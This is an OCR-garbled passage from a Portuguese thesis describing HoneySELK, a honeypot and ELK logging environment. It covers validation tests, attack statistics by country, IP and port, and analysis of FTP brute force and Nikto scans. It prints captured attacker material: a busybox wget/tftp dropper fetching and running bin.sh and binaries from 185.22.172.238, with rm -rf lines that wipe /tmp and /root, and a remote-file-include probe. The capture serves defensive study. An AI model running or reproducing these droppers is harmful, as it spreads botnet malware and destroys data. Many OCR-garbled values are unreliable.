hexadecimal (coluna da esquerda). O segundo fortnat@onversdo em ASCitoluna da

direita). A Figura 3.15 informa que foi executado portscanatraves dmmap
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e e e e e e e e e e e e e e e e e g — —y

04,/27-15:26:05.399945 26:0:78:DC:4E:F8 -> S9E:16:D6:C6:E4:49 cype:0x800 len:0xE1
172.30.20.100:53225 —->» 172.30.20.25:80 TCP TTL:64 TOS5:0x0 ID:46481 TpLen:20 DgmLen:211 DF
#EAXLPH¥** Seg: O0xAIC4FIED Ack: O0xS500508FE Win: 0x721 TcpLen: 32

TCP Cptions (3) =» NOP HOP TS5: 1000550 66684

47 45 54 20 2F T2 6F €2 &F 74 73 2E 74 78 74 20 GET frokots.tXt

48 54 54 50 2F 31 2ZE 31 0D OA 43 &F 6E &E &5 &3 HTIEﬂlvé-zponnec

74 &9 &F 6E 3R 20 &3 €C &6F 73 &5 0D ORA 55 73 &5 tien: closes .Use

72 ZD 41 &7 &5 6E T4 34 20 4D &F TR &9 &C &C &1 qﬁhgent: Hozﬁ@la

2F 35 2ZE 30 20 28 63 &6F 6D 70 61 74 69 62 6C 65 (5.0 (compatiple

3B 20 4E 6D &1 7O 20 53 63 72 &9 70 74 €9 6E &7 ¢ Nmap Scripting

20 45 6E &7 €9 6E &5 3B 20 €8 74 74 70 3A 2F 2F \Engine; httpk//S

aE 6D &1 7O 2E &F 72 &7 2F &2 &6F &F 6B 2F 6E 73 ﬁhﬁp.orgfbogﬁins

65 2ZE 68 74 &D &C 29 OD OR 4B €F 73 74 3& 20 31 e.mml)..Hestc: 1

37 32 2E 33 30 ZE 32 30 2ZE 32 35 0D OR OD OR 72.30720025....

B I I I I B T T B B I I I I

Figura 3.15: Captura do atagoertscanem formato hexadecimal e ASCII.

3.3.4. Validagao 4: Alertas de Monitoramento

O quarto teste teve como propdésito verificar dopeywallestava monitorando e enviando
alertas poremail referente as conexdes de saida limseypots Para realiza-lo, simulamos

uma tentativa de conexdo ddoneypotFTP (IP 172.30.20.21) para o servidor NTP (IP
200.186.125.195).

To: | ]

Subject: ------ ALERT! OUTBOUND UDP --------

Message-Id: <2016@6080208727.D0EB52BFOB39@pituba.localdomainy
Date: Wed, 8 Jun 2016 82:87:27 +8008 (GMT)

From: root@pituba.localdomain (root)

Jun 8 82:87:27 pituba kernel: QUTBOUND UDP: IN=br@ OUT=br@ PHYSIN=ethl PHYSOUT=ethe SRC=172.38.28.21
D5T=2080.160.7.186 LEN=76 TOS5=08x08 PREC=0x080 TTL=64 ID=26749 DF PROTO=UDP 5PT=123 DPT=123 LEN=56

Figura 3.16: Alerta enviado pemailda conexao de saida HoneypotFTP.

Conforme a Figura 3.16, a ferrameswatchconfigurada ndnoneywallenviou um alerta por

emailinformando sobre a tentativa de conexao.

3.3.5. Validacéo 5: Coleta e Georreferenciamento d@taques

Para o quinto e ultimo teste, utilizou-se a reddRTgara analisar se o servidor ELK estava
coletando e georreferenciando os atagues no arabieattanto foi feita uma conexao de um
endereco da rede TOR para a porta 80 (HTTPHdoeypotWEB (IP 172.30.20.25). De
acordo com a Figura 3.17 foi possivel verificar aaida de log
(/var/log/logstash/logstash.stdQuapresentada pela ferramerntagstashcom os dados de
interesse {roto, src_ip, dest _ip src_port dest porte geoip. A Figura 3.18 mostra o

georreferenciamento no mapa desta mesma conexao.
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"@version" == "1",
"@timestamp" == "2016-12-09T12:11:55.000Z2",

"type" => "syslog",
"host" == "172.30.10.1",
"tags" == [

[@] "PFSense",

[1] "firewall",

[2] "GeoIP"

"evtid" => "134",
"prog" == "filterlog",
"rule" => "71",
"sub_rule" == "16777216",
"tracker" => "1464887787",

"iface" == "hn@",
"reason" == "match",
"action" =» "pass",

"direction" == "in",
"ip_ver" == "4",
"tos" => "0x0",
"ttl" => "48",
"id" == "14072",
"offset" == "0",
"flags" == "DF",
"proto_id" == "6",

"proto" == "tcp",
"length" == "60",
"src_ip" => "149.56.223.241",

"dest_ip" == "172.30.20.25",
"src_port" == "44885",
"dest_port" == "80@",

"data length" == "@", //" "‘\\

"geoip" == { L7 AN

"ip" F> "149.56.223.241",
"country code2 == "US", \
“country_codeB‘ == "USA", \
"country_nameg' => "United States", 1
"continent_codef' == "NA", ]
"region_name" == "CA", /
"city_name" &= "Anaheim", ,'

"postal_code" =‘s\r\“92865“, //

"latitude" == 33,8263, _
"longitude" => -117.9186,"
"dma_code" == 803,
"area_code" == 714,
"timezone" == "America/Los_Angeles",
"real_region_name" == "California",
"location" =» [
[0] -117.9106,
[1] 33.8263

Figura 3.171L.og com dados os de interesse.

Burbank: H X ‘— 2
ﬁ =

Los Ang

eles:
-l 2

L \Westminst
"n i @
Founta
Fountai

3 e
__//Newport Beach” | i
£ 257 Mitsion viejo
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Figura 3.18: Georreferenciamento do endereco daTE&R.
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Ainda neste mesmo teste (Figura 3.19) é possivaisan com oKibana a estrutura do

documento indexado com o eventdalgrecebido dd.ogstashe inserido peldlasticsearch

@tinestanp @ @ M December 9th 2016, 10:17:22.000
@version aam1l

_id @ Q [ AvjjshgsaxajuTlbnkns
_index M logstash-2016.12,09
_score o

_type @ syslog

action @ & M pass

data_length @amo

dest_ip @ QM 172.30.20.25
dest_port @ M 8o

direction @amin

evtid eam il

flags @ ameoF

geoip.area code M A 714
geolp.city_name @ & M Anaheim

geoip.continent_code @ Q@ M NA
geolp.country_code2 Qamus
geoip.country_code3 @ a M usa

geoip.country_name @ @ M United States

geoip.dma_code 0 A 803

geoip.ip @ QM 149.56.223 241
geoip.latitude @ M 33.826
geoip.location M -117.9106, 33.8263
geolp. longltude @ e m -117.911
geoip.postal_code 0 A 92805

geoip.real_region_name @ @ M California

geoip.region_name eeamca

geoip.timezone @ @ M America/Los_Angeles
offset @Qemoeo

prog Q QM filterlog
proto @ M tcp

proto_id QaeMe®e6

reason @ @ @ match

rule eQaem7n

src_ip @ & M 148.56.223.241
src_port @ QM 45243

sub_rule @  [@ 16777216

tags @ @ [M@ PFSense, firewall, GeoIP
tos @ M oxo

tracker @ @ [M 1464887787

ttl @em 48

type @ @ M syslog

Figura 3.19: Documento com o eventdaginserido pelElasticsearch
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4. ANALISE DOS ATAQUES NO AMBIENTE HONEYSELK

A solucdo em producéo indica como 0s recursos api@aos na arquitetura proposta por este
trabalho podem ser utilizados como fonte de peagp&ra coletar, analisar, visualizar e
estudar ataques cibernéticos e vulnerabilidadedoexfas em sistemas de rede. O
HoneySELK até o momento da conclusédo deste trabalho, p&skaneypots, configurados
com os servicos de DNS, FTP, NTP, MySQL, HTTP, HFTRISRPC, NETBIOS-SSN,
Microsoft-DS, TELNET e SSH. Alguns dos resultadbsidns sdo apresentados nos topicos

seguintes.

4.1. VISUALIZACAO GEOGRAFICA E ESTATISTICAS DOS ATA QUES

Para processar o0s resultados obtidos, analisaraossatagues coletados no ambiente
HoneySELKimplementado no LAB-ENE/UNB. Esta analise em paféic ocorreu entre os
dias 08/junho e 08/dezembro de 2016. Na Figura $dde-se verificar a quantidade total de
conexdes realizadas nos dias 14/junho (5.434),urdtd (9.730), 03/agosto (10.057),
17/setembro (39.736) e 22/novembro (35.585) o queohsiderado elevado, sendo detalhado
na secdo 4.3 as conexdes do dia 14/junho. Aléro,dégsossivel observar uma queda entre 0os
dias 18 e 28 de julho devido a problemas de magétena infraestrutura da Universidade.
Nota-se também por outro lado que 189 paises fizdk6.343 tentativas de acessos atraves
de 113.013 IPs diferentes (Figura 4.1.b).

916,343 113,013

TENTATIVAS DE ACESSOS TOTAL DEIPs

189

QUANTIDADE DE PAISES

20164031 0164130

b)
Figura 4.1: Captura de conexdes entre 08/junhdde@8mbro.

4.1.1. Visualizacdo Geografica

Conforme apresentado na Figura 4.2, pode-se \arific mapa os atagues representados por
circulos e divididos em cores (vermelha, larangaarela) com a localizacdo geogréfica dos
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IPs de origem. Observa-se também outras informat@iescomo pais, estado e cidade,
obtidas através das coordenadas geograficas gepattasentralizacdo, indexacédo, busca e

visualizacdo do$ogs obtidos dofirewall. Percebe-se também um circulo vermelho e outro

laranja no mapa indicando a origem dos IPs (Clgjona)mais atacaram o ambiente.

an s 5
Ethiippi

ey

il i
e TS
Pl

Figura 4.2: Visualizacdo geografica dos ataques.

4.1.2. Estatistica dos Ataques por Paises

As Figuras 4.3.a e 4.3.b apresentam as estatistisaataques direcionados ao ambiente por
paises. Observa-se que a China e o Vietham (Fig®a) foram os paises com maior
quantidade de requisicdes, totalizando para a Glordia desta analise 263.512 tentativas de

atagues no ambienkdboneySELKFigura 4.3.b).

QTD ACESSOS POR PAISES =

i

=Q Count 5
Brazil 42,006
Korea, Republic of 53719
7,233
30,286

A8,

Russian Federation

Turkey 29,874

b)
Figura 4.3: Distribuicdo de ataques por paises.
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Informacdes sobre os paises que estdo atacanddiensenpodem ser observadas também
através da Figura 4.4. Esta figura representa umeanm de paises, destacando em vermelho
(China) e laranja (Vietnam, Brasil, Korea e Taiwas) paises com maior quantidade de
requisicdes no ambiente. Através desta nuvem, &ivabsfiltrar também os ataques no

ambiente por pais. Este processo € fundamentalgpatar nas consultas, mostrando os IPs

que pertencem ao pais aplicado no filtro e a podis requisitada.

Egypt Armenia

Chile
Russian Federation

Hong Kong SENIE ivwan Germany

Finland Colomb ';__. i . \V.I" Ietn am

South Africa
Fh
MNether

Hurgary

Korea, Republic of United States Thai
Poland Tyrkey Romania C
Venezuela  Pakistan _- Australia

Spain

Figura 4.4: Nuvem de paises atacantes.

4.1.3. Estatistica dos Ataques por IPs

As Figuras 4.5.a e 4.5.b representam as estasistasmataques direcionados ao ambiente por
IPs. Nota-se que o IP 116.31.116.7 (Figuras 4.%d)foi quem fez a maior quantidade de
requisicoes (36.787).

QTD ACESSOS PORIPs EXTERNOS+Q Count =
36,787

116311167

30,611

11631116.27 16959
116311161 13 664

663
9

3 ¥
8
.5&21119?.213 5918
b)
Figura 4.5: Distribuicdo de ataques por IPs.

Com um filtro @eoip.country_name:"china" aplicado no ambiente podemos verificar
também a nuvem de IPs (Figura 4.6) que pertenc€mira, inclusive os IPs (116.31.116.7,
116.31.116.26, 116.31.116.27 e 116.31.116.21) caomguantidade de requisi¢des. Estas
informacgdes podem ser utilizadas em Wbtzecklistpara tentar conter os ataques.



80.11

116.31.1

116.31.116.8

. 11°F
127 58.218.19¢
3.218.199.218 116.31.116.39 116.31.116.37
o 116.31.116.36

Figura 4.6: Nuvem de IPs que pertencem a China.

4.1.4. Estatistica dos Ataques por Servicos e Homeys

As Figuras 4.7.a e 4.7.b apresentam o0s ataquess@wicos, mais especificamente o0s
seguintes: 23/TELNET, 22/SSH, 80/HTTP, 445/MICROS&FS, 139/NETBIOS-SSN,
135/MSRCP, 443/HTTPS, 21/FTP, 3306/MYSQL, 123/NTEBHNS. Percebe-se na Figura
4.5.b que as portas 23 (599.458) e 22 (227.82@pf@s mais visitadas.

a)
Figura 4.7: Distribuicdo de atagues por servicos.

Nas Figuras 4.8.a e 4.8.b é possivel verificar @itoneypotXP (172.30.20.36) foi quem
recebeu a maior quantidade de requisicdes (643.3¢ ressaltar, que neskdoneypot
foram configurados os servicos MICROSOFT-DS, NET8BISSN, MSRCP e TELNET.

HONEYPOTS=Q, COUNT =
172.30.20.36 &43,371
17230.20.21 231,025
172.30.20.25 40,418

172.30.20.19 1,602

172.30.20.13 497

172.30.20.36 172.30.20.21 172.30.20.25 172.30.20.19 172.30.20.13

a)

Figura 4.8: Distribuicéo de ataques ptumeypots
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4.2. VISUALIZACAO DE FLUXO DE ATAQUES COM GRAFOS

O ambiente permite ainda explorar graficamenteete;des entre entidades (paises, IPs,

portas de origem e destino, protocold®mneypots Este processo facilita a analise e
visualizagéo dos ataques.
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\
E \ 172.30:20.13
‘ [= B - }
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Gegmany \ 172.30.20.19 Mew, Zegland
[ ‘
Sil re
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\ l [ B =

\M72.30:20.210 Ukgaine Et F’h@ 6
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F@e c dia Unigay Ea
Lo (o ©
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R
Iran, IslanEepub\ic of E Ea
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E T, lestiniam, Territory Bo na
@ Guaala

Figura 4.9: Grafo com os relacionamentos entranadagleshoneypos paises.

A Figura 4.9 mostra um grafo com os relacionamergnge as entidadeBoneypots
(dest_ip.rawy e paisesgeoip.country_name.rgwdo dia 03/agosto. Podemos verificar nestes
relacionamentos que todos losneypotssofreram algum tipo de ataque naquele dia e que a
China foi o pais quem mais fez requisi¢cOes diredas para bloneypotFTP (172.30.20.21).
Observamos também uma quantidade maior de paisssandd o Honeypot XP
(172.30.20.36). A Figura 4.10 apresenta informagiEs paisesggoip.country_name.rgw
gue tentaram atacar os servicdest port.rayy do ambiente no dia 04/agosto. Mais uma vez

a China foi o pais com maior quantidade de redigsidirecionada para a porta 22 (SSH)
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caracterizando um ataque de forca bruta nesteceerfi porta 23 (TELNET) foi a mais

requisitada por outros paises.
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Figura 4.10: Grafo com os relacionamentos ententidades portas e paises.

4.3. ANALISANDO OS ATAQUES DIRECIONADOS AO AMBIENTE

No dia 14 de junho de 2016, verificou-se um alpdae-mail através do relatorio enviado
pelo honeywall De acordo com os dados do ataque coletado, tenodwm origem um
endereco IP da Polbnia, realizaram-se duas analisembiente para detalhar esse ataque em
particular. Devido a quantidade de requisicoesarta®1, a primeira andlise foi realizada no
HoneypotFTP. Verificamos que o IP 193.17.184.78 tinha athvisozinho 24.954 pacotes e

gue a porta 21 estava com 2.179 requisi¢Oes (Fyifaa).
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Para se obter informacdes mais detalhadas solpacmges enviados, analisou-se os dados
que foram detectados rmayload do pacote. A analise permitiu confirmar que o tsua
admine a senha&arole (Figura 4.11.b) foram utilizados pelo atacanteapgantar realizar a
autenticacdo no servidor. Logo o IP 193.17.184gé8referenciamento como origem sendo
a Pol6nia, realizava um ataque de forca bruta n@ 24 (FTP). Através do detalhamento da
funcdo de georreferenciamento foi possivel verifopae este ataque estava vindo da cidade

de Varsévia (Figura 4.12).

Report Settings: 06/14-19:59:58.@91763 0:15:5D:6:57:15 -> 0:15:5D:6: Si+F—type:0x800 len:0x7B
- Honeynet: 172.30.20.0/24 172.30.20.21:21 -= 193.17.184.78:64356 TCP TTL:SQzTﬁS:@xD ID:TQGSS IpLen:20 DgmLen:109 DF
- Starting Date: 20160614 (inclusive) wEEAP*RE Seq: DxDSFFE22E  Ack: OXEA4OBFEC Win: Ox1CS Teplen: 20
- Ending Date: 20160615 (exclusive) 32 32 30 20 50 72 6F 46 54 50 44 20 31 2E 33 26 220 ProFTPD 1.3.\
- Mumber of days: 1 3520 53 65 72 76 65 72 20 28 53 65 72 76 69 64 5 Server (Servidl
- Output file:  fimp/_sum. hrD25540 BF 72 20 46 54 50 20 52 41 45 4F 4F 29 20 5B 3A\ or FTP RAE0O) [v
3A B6 66 66 66 3A 31 37 32 2E 33 30 2E 32 30 2E M:ffff:172.30.26.
32 31 5D 6D OA 2, _.’

lotal pcap records processed: B, 606
Total smort records processed: 0

06/14-19:58:58.395311 0:15:5D:6:57:F -= 0:15:5D:6:57:15 type:0x800 len:0x42
183.17.184.78:64366 -> 172.30.20.21:21 TCP TTL:102 TOS:0x4 ID:25606 IpLen:20 Dgmien:52 DF
#kkAPRIR Saq: OXEAOBFEC Ack: OXDSFF6273 Win;, x40 ~TTptes: 20

== 55 53 45 52 20 61 64 6D 69 6E OD OA { UsR admn.
Remote IP Packets Bytes Conns Y A T A U S WS S P YR
193.17.184. 76 _ 24954 _lngaz7 1972 06/14-19:59:59. 395969 0:15:5D:6:57:15 -> 0:15:5D:6:57:F type:0x800 len:0x36
190.235.133.48  ~ 3081 a119 252 172.30.20.21:21 -> 193.17.184.78:64566 TCP TTL:64 TOS:0x0 ID:19056 IpLen:20 Dgmlen:40 DF
197.231.221 211 9970 22BBT95 225 wkkpkklk Saq: OxDSFF6273  Ack: OXEA4OBFFE Win: Ox1C9 Tcplen: 20
201.22 57.115 157 2660 46
187.95.126.221 164 789 35 e
188.138.8.49 2815 507845 31 06/14- 19: 59:59. 3956086 0:15:5D:6:57:15 -> 0:15:5D:6:57:F type:0x800 len:0x57
- H H . H H H+H H -> 0 H H+H H Ype:ux en;ux
176.10.99.207 206 1708s 23 172.30.20.21:21 -> 193.17.184.78:64566 TCP TTL:64 TOS:0x0 ID:19057 IpLen:20 Dgmlen:73 DF
199.212 0.53 44 9825 22 At L e :
89 163.237 43 24 1007 17 AP*** Seq: OXDSFF6273 Ack: OXEA408FF8 Win: Ox1C9 Teplen: 20
- oo df 33 33 31 20 50 61 73 73 77 6F 72 64 20 72 65 71 331 Password reg
148.202.98.161 1733 381789 15 75 69 72 65 64 20 66 6F 72 20 61 64 6D 69 6E OD uired for admin.

0A .

06/14-19:58:50.700332 0:15:5D:6:57:F -= 0:15:5D:6:57:15 type:0x800 len:0x43

Port  Packets Bytes Conns 193.17.184.78:64566 -> 172.30.20.21:21 TCP TTL:182 TOS:0x4 ID:25666 IpLen:20 Dgmien:53 DF
o FRKAPREr Seq: OXEA4OBFFS Ack: OXDSFF6294 Win: Oxse- Feslens 20

tep/21 27673 335876 _ 2179 _ 50 41 53 53 20 63 61 72 6 6C 65 0D 0A {pass carole. )

top/23 6866 98774  AG0T

tcp/80 33997 8108142 276

tepfdds 088 153305 150 06/14-19:59:59. 701477 0:15:50:6:57:15 -> 0:15:50:6:57:F type:0x800 len:0xac

tepf139 346 4145 7 172.30.20.21:21 -> 193.17,184.78:64566 TCP TTL:64 T0S:0x0 ID:19058 IpLen:20 Dgmlen:62 DF

tcpl135 109 325 27 wakpDREE Seq: OXDSFF6294 Ack: OXEA409G05 Win: O0x1CS Tcplen: 20

udp/123 18 486 13 35 33 30 20 4C 6F 67 69 6E 20 €9 6E 63 6F 72 72 530 Login incorr

icmp/0 5 212 3 65 63 74 2E @D OA ect...

a) b)
Figura 4.11: Detalhamento do ataque ao servigco FTP.
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Figura 4.12: Visualizacdo geografica da origemtdg@e ndHoneypot-TP.
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Ainda no mesmo dia, recebeu-se outro alerta doertdinformando que HoneypotWEB
havia sido atacado, com informacfes sobre a detexgégistro conforme Figura 4.13. Este

alerta informou sobre uma tentativast@anem nossdioneypotWEB.

As informacdes de cabecalho do primeiro pacoteu(gigt.14) indicam que o pacote foi
capturado em 14 de junho as 17h59min e que o pBarviado da porta 30691 da maquina
171.25.193.78 para porta 80 (HTTP)meypot Este mesmo ataque pode ser visto ainda de
uma forma mais detalhada pelo administrador atraleégayload do pacote. Conforme a
Figura 4.14, confirmou-se que o atacante realizaiscanatravés da ferramentakto como
uma tentativa de coletar informacdes e vulneradumléds doHoneypot WEB através do
protocolo HTTP.

Hune 14th 17:58:50 bo:01:.02 <5H0-WEB-PHP remote include path
% o 1;36515;‘?6153 . 1?253'(::1-25;-25 <. WEB-PHP modules.php access
b U a1 ok ™) <. WEB-CGI calendar access
June 14th 18:00:52 oo:0l.02 <-38-WEB-PHP remote include path
gl mzmn 0. RS G wesne
I ur-lkrglo'wr-i) el \A 111 pks MP)  <.1. WEB-PHP modules php access
<1. WEB-PHP Mambo upload php access
Hune 14th 18:01:55 000102 <21.-WEB-PHP remote include path
% 171.25.193.78 U 172.30.20.25 <.1- WEB-PHP mndules.php access
TCP 13741 (L3741) 26 kB 205 phts —> 80 (hitp)
o7 UNKNOWN <55 I8 105 phis -
dune 14th 18:02:57 oo:01:02 <-7-WEE-PHP remate include path
171.25.193.78 0 172.30.20.25
TCP 54447 (54447) 30 kB 208 phs —> 80 (hip)
o7 UHKNOWN <61 |8 114 pkis -
Hune 14th 18:04:00 00:01:13 <-22.WEB-PHP remote include path
% 171.25.193.78 0 172.30.20.25 .. WERB-MIGC Jetc/passwd
TCP 42111 (42111) 26 kB 206 phts —> 80 =
b7 UT'IKTSC""."'."I'J ) ::_5p5 IE 108 phts Tﬂp] <2- WEB-MISC handler access
Hune 14th 18:05:14 00:.01:04 <1- WEB-MISC /homefwww access
% L 1;38535 (%3335:3)3 e ';:E . 1?35331-2%.25 <-36-WEB-PHP remote include path
b7 WUHENOWH - ::—SPEI kB .121 pkts _tq:l <.]- WEB-CGI formmail access
<-1. WEB-PHP Cyboards default_header.php access
June 14th 12:06:19 00:01:03 <54.WEB-PHF remote include path
171.25.193.78 0 172.30.20.25
TCP 22576 (22576) 27 }B 207 phis —> 80 (hip)
o7 UHKNOWN <57 |8 111 pkis -
Hune 14th 18:07:23 oo:01:04 <-28-WEB-PHP remote include path
171.25.193.78 0 172.30.20.25
TCP 61483 (51483) 25 kB 207 phts —> 80 (hitp)
o7 LN KNOWN <55 I8 111 phts -
Hune 14th 18:08:28 00:01:03 <-26-WEB-PHP remote include path
% - 13518325}59812?3 I 1?28-30-20-25 <. WEB-MISC ICQ Webfront HTTP DOS
o7 Diciowt . e g 111 phts %) <. WEB-MISC backup access
<1- WEB-CGI calendar access
June 14th 18:09:31 00:01:12 <21.WEB-PHP remote include path
% 64.113.32.29 0 172.30.20.25 <.4. WEB-PHP PHPLIB remote command attempt
TCP 52890 (52890) 26 KB 206 pkt —> 80 (htp)
7 UNKNOWN <55 |B 108 pks -

Figura 4.13: Alerta sobre uma tentativaséanno HoneypotWEB.
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=t =t+=t=t=t=t+=+=t=+ =+ =t =t =+ =+ =+ =+ =+ =+ =t =+ =+ =+ =+ =+ =+ =t =t =+ =+ =+ =+ =+ =+ =+ =+ =+ =+
06/14-17:59:50.978610 0:15:5D:6:57:F -=> 0:15:5D:6:57:14 type:0xB00 len:0x42

Ak pAokdok Saq: Ox676D78AD  Ack: OxA4DFFC3B Win: Ox80 TcpLen: 32
TCP Options (2) == NOP MNOP TS: 2373371565 131023382

=t =t+=t=t=t=t=+=t=t =+ =t =t =+ =+ =t =+ =+ =+ =t =+ =+ =+ =+ =+ =+ =t =+ =+ =+ =t =+ =+ =+ =+ =+ =+ =+
06/14-17:59:51.383533 0:15:50:6:57:F -= 0:15:50:6:57: 14 type:0x800 len:0x112

Aok Pk Sag: OxG67ED7E8AD  Ack: OxAADFFC3E Win: Ox80 TcplLen: 32
TCP Options (3) == NOP MNOP TS: 2373371969 131023382

47 45 54 20 2F 63 BC 61 72 73 65 73 2F 41 75 74 GET /classes/Aut
68 2F 59 61 64 69 73 2F 58 52 44 53 2E 70 68 70 hyYadis/XRDS.php
3F SF 45 4E S8 SB 61 73 69 63 6D 73 SD SB 70 81 7_ENV[asicms][pa
74 68 SD 3D 68 74 74 7O 3A 2F 2F 63 69 72 74 2ZE thl=hitp://cirt.
6E 685 74 2F 72 66 69 69 6E 63 ZE 74 78 74 3F 20 netf%fiincﬁgxt?
48 5S4 5S4 SO 2F 21 ZE 21 OD QDA S5 73 65 72 2D 41 HTAP/1.1..User-A
67 85 BE 74 3A 20 4D BF 7A 69 6C 6C 61 2F 35 2E gent: Mozilla/S.
30 30 20 28 4E 69 6B 74 6F 2F 32 2E 31 2E 36 28 00 (MNiktos2.1.6)
20 28 45 765 61 73 69 6F 6E 73 3A 4E 6F B6E 65 29 MEvasions:Néne)
20 28 5S4 65 73 74 3A 30 30 34 33 39 39 29 0D 0A (?gst:Dﬂaqggl..
43 6F BE BE 65 63 74 69 6F SE 3IA 20 4B 65 65 70 Connectigr: Keep
2D 41 BC 62 76 65 0D QA 48 6F 73 74 3A 20 31 36 -Alive..Host: 16
34 2E 34 31 2E 32 32 32 2E 321 32 35 0D 0A OD @A 4.41.222.125....

=t =t =+ =+ ==t =t =+ =+ =+ =t =+ =+ =+ =+ = =+ =+ —+ —+ =+ —+ —+ =+ —+ —+ —+ —+ =+ =+ —+ = —F+ =+ =+ —+—+

171.25.193.78:30691 -= 172.30.20.25:80 TCP TTL:40 TOS:0x0 ID:352510 IplLen:20 Dgmlen:352 DF

171.25.192.78:30681 -= 172.30.20.25:80 TCP TTL:40 TOS:0x0 ID:4032 IplLen:20 DgmLen: 260 DF

Figura 4.14: Detalhamento de um ataquélaneypotWEB.

Neste mesmo cenario, continuando com a analiséiceerse a origem deste ataque atraves

de georreferenciamento. A Figura 4.15 indica quatague teve origem da cidade de

Estocolmo, Suécia.
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4.4. ANALISE DE GRAFOS DE UM ATAQUE NO AMBIENTE

Para facilitar a visualizagdo destes atagues noieateb extraiu-se as informacdes dos

documentos e termos do indice do dia 14/junho pawagrafo (Figura 4.16). E possivel

verificar os IPs que tentaram atacar os servicognmoiente e as conexdes mais significativas

(IP 193.17.184.78 e IP 190.235.133.48). Observasa, quantidade maior d
porta 23 (TELNET). Além disso, nota-se pela largdeaaresta que o IP 1

e IPs atacando a
03.17.184.78 da

Polbnia foi quem fez o maior nimero de requisi¢descionadas para a porta 21 (FTP).

Verifica-se também o relacionamento entre o IP 254.193.78 e a porta 80 (HTTP). Estas

duas observagBes comprovam o que foi feito nasenaliterior.
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Figura 4.16: Grafo com relacionamento dos ataquoie €Ps e servicos.

4.5. COLETA E ANALISE DE MALWARE

O ambiente também esté sendo utilizado para agdetele artefatos maliciosos. No dia 20 de

junho as 18h52mim foi encontrado wuript malicioso com a finalidade Unica de fazer

download de arquivos através do IP 185.22.172.ERfifa 4.17).

A Figura 4.18.a ilustra uma parte seript (bin.sh capturado e suas funcionalidades basicas.

A analise demonstrou que se tratava desonpt para realizar o download de binérios. Um

dos binarios foi baixado via rede TOR para o antbienuma analise por verificacdo através

da ferramentayhexmostrou que o binario estava utilizanfrecutable and Linking Format
(ELF) e empacotado compackerUPX (Figura 4.18.b).
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06/20-18:52:54.997748 0:15:5D:6:57:F -= 0:15:5D:6:57:16 type:0x800 len:0x164
123,195,171,38:56344 -> 172.30.20.36:23 TCP TTL:39 TOS:0x0 ID:83045 IpLen:20 Dgmlen:342 DF
sHkAPdck Seq: OxDC7COBBL  Ack: Ox2EB243F9 Win: OxSB4 Teplen: 32

TCP Options (3) == NOP NOP TS: 192565482 10452010

63 64 20 2F 74 6D 70 20 7C 7C 20 63 64 20 2F 76 «cd /tmp || cd jv

Bl 72 2F 72 75 6E 20 7C 7C 20 63 64 20 2F 64 65 ar/run || cd /sde

76 2F 73 68 8D 20 7C 7C 20 63 64 20 2F 6D 6E 74 w/shm || cd /mnt

20 7C 7C 20 63 64 20 2F 76 61 V2 3B 72 6D 20 2D || ed fvar;rm -

66 20 2A 3B 62 75 73 79 62 6F 78 20 77 67 65 74 f *;busybTx wget

20 68 74 74 7O 3A 2F 2F 31 38 35 2E 32 32 ZE 31 httpff;185.22>1

37 32 2B 32 33 38 2F 62 69 6E 2E 73 68 3B 73 68 ?2.238{bin.sh;sﬁ

20 62 69 6E 2ZE 73 68 3B 62 75 V3 79 62 6F 78 20 binf@h;busybox

74 66 74 7O 20 2D 72 20 62 69 6E 32 2E 73 68 20 tftp -Y\Qing,éh

2D 67 20 31 38 35 2E 32 32 2E 31 37 32 2E 32 33 -g 185.22.172.23

38 3B 73 68 20 62 69 BE 32 2E 73 68 3B 62 75 73 8;sh bin2.sh;bus

Figura 4.17: Detalhamento de coletandalwareno ambiente.

e N

# Delete some Shlt to prevent ”whitehats” ,}| @1 61 OO 0@ GO O OO O OO @@ELF) [ =
busybox rm -rf /tmp/* 00 60 70 E9 00 00 34 00 00 06 .(.,...p...4...
busybox rm -rf /root/* 00 00 34 00 20 00 02 00 28 00|.~.7 . ... 4. (
y , , 00 00 00 00 GO 00 60 80 00 00|................
busybox rm -rf /usr/bin/strings 00 00 47 72 G0 @0 ©5 00 00 00|....Gr..Gr......
busybox rm -rf fusr/bin/ps 00 00 84 65 GO 0O 84 E5 01 06[...... bR L
00 00 00 00 GO 00 06 00 00 0d..... ROT Nop e o ¢

# RM spam because routers don't have much memo | 42 @D 55 50 58 21 FO 08 @D 17)....5.B.UPXIL. ..
ry boi PEIEN 01 00 28 10 01 00 94 00 00 06f....(y . (... . ...

. 2l
busybox wget http://185.22.172.238/10; busybox gg g? g? ;g ;g g? gg gi Eé ?év """"" 'ELF4ra
hmod +x 18; ./10; busybox rm -f 1@* el B
chmo . v y N 7 FB 20 00 03 1B BB 6D 60 OC 1F ..[... ........
rm -f S~ CO FD EC 05 13 16 1F 73 01 33|............. s.3
busybox wget http://185.22.172.238/11; busybox | 96 65 06 41 F7 51 E5 74 64 0A..X....e.A.Q.td.
chmod +x 11; ./11; busybox rm -f 11%* 00 00 OO GO OO 04 80 FF 2C FD|..9........... , -
m -f * 03 50 00 00 FF oD CO A@ E1 Fol..ef...P........
a) b)

Figura 4.18: Andlise dscript e malwarecapturados para analise.

De posse do binario, este foi submetido para anphlta plataforma virustotal (Figura 4.19).
Interessante notar que a taxa de deteccdo do disdbmetido pelo virus total como sendo
malwarefoi considerada baixa, ja que apenas 4 de 56fptatas de antivirus foram capazes
de detectar o binario conmalwareno dia da analise.

SHAZ256: Gc4eecT79T50ad781c2dcalfed1calad1d5a255231 62decc6d87dda32460a1 26096

Mome do arquivo: 10

E RN
/ \

Taxa de detecgao: | 4/ 56
\

~_.7

Antivirus Resultado Atualizagio
Avast ELF:Gafgyt-BA [Tr] 20160531
Drweb Linux.BackDoor. Fgt. 180 20160531
ESET-NOD32 a variant of Linux/Gafgyt.IL 20160531
lkarus Trojan. Linux. Gafgyt 20180531
AlYac < 20160531
AVG [} 20160531

Figura 4.19: Andlise basica dwalwarecoletado.
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4.6. ANALISE MIRAI BOTNET

Atualmentebotnetssao as principais ameacas a seguranca na Int&rregipacidade de se
controlar remotamente grandes quantidades de agami@omos, mostrou ser uma poderosa
ferramenta para a execugdo de atividades, comauetsade DDoS. Diante dos recentes

atagues com essas caracteristicas, analisou-sé792r@lerecos IPs dilirai Botnet no

HoneySELKEstes enderecos foram coletados por outra fentmléta remota e enviado para
a UNB no dia 03 de novembro de 2016.

Através de unscript, realizou-se uma comparagdo dos enderecos IR&irdaBotnet com

todos odogs do HoneySELK(Figura 4.20). O resultado foi inserido no amleepara fazer

uma analise com detalhes.

0]103.

193

01103.242

01125.
01168,

161
195

0]168.227
01168.227
78.221.99

50.240.130

01170.
01171,
01172.

16.203.77

.118.59
.238.18
.80.103
